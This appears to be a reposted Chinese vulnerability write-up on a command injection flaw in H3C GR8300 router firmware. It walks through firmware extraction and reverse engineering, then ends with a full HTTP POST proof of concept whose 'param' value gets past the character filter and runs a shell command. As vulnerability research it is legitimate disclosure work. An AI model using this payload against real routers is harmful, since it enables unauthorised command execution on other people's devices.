产品信息
- 厂商网站信息:https://www.h3c.com/
- 固件下载地址:https://www.h3c.com/cn/d_202212/1748085_30005_0.htm
进入H3C GR8300路由器官方固件网页,下载最新MiniGR1B0V100R015固件版本:
漏洞分析
漏洞概述:H3C GR8300 固件版本小于等于MiniGR1B0V100R015时,在DelL2tpLNSList函数中存在命令注入漏洞。该漏洞允许攻击者通过“param”参数执行任意命令。
使用binwalk工具提取固件文件系统:
binwalk -Me --run-as=root MiniGR1B0V100R015.bin
进入固件文件夹,使用grep工具搜索函数所在文件,发现在webs文件中:
grep -rl DelL2tpLNSList
使用IDA逆向工具打开webs文件,Alt + t 键搜索DelL2tpLNSList字符串找到函数地址,该地址处于rodata:100EA148只读数据中,可以看到这里有实现各种功能的参数:
跟入函数所在data:101137F8地址,看到被sub_10069270函数调用:
跟入sub_10069270函数,按F5键转为伪代码,看到了本次漏洞所在的代码块:
数据通过前端“param”参数传入并存储在v7变量中,通过sub_100104E8和sub_100695A4函数判断,且被限制为8个字节:
进入sub_100695A4函数,该函数是用于对传入参数进行判断是否有 | & ` � (默认十六进制按R键转字符串)危险字符:
v10和v11变量经过以上判断后进入snprintf()方法进行格式化后存入v15,最后v15传到system()方法中执行命令。
漏洞利用
通过qemu或FirmAE等工具启动固件模拟:
使用以下POC进行攻击,命令通过大量Fuzzing绕过防护构造出:
POST /goform/aspForm HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Length: 67
CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp¶m=1;$(ls>/ww w/1) #;
使用BurpSuite工具发送POC,看到漏洞利用效果,成功执行ls命令。
原文始发于微信公众号(ZackSecurity):【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
2024年12月6日 下午4:21 1F
师傅你确定这个固件可以仿真?我遇到了一堆毛病
2024年12月6日 下午5:22 B1
@ eternity. 这个我也没测试,你可以咨询下原号ZackSecurity哟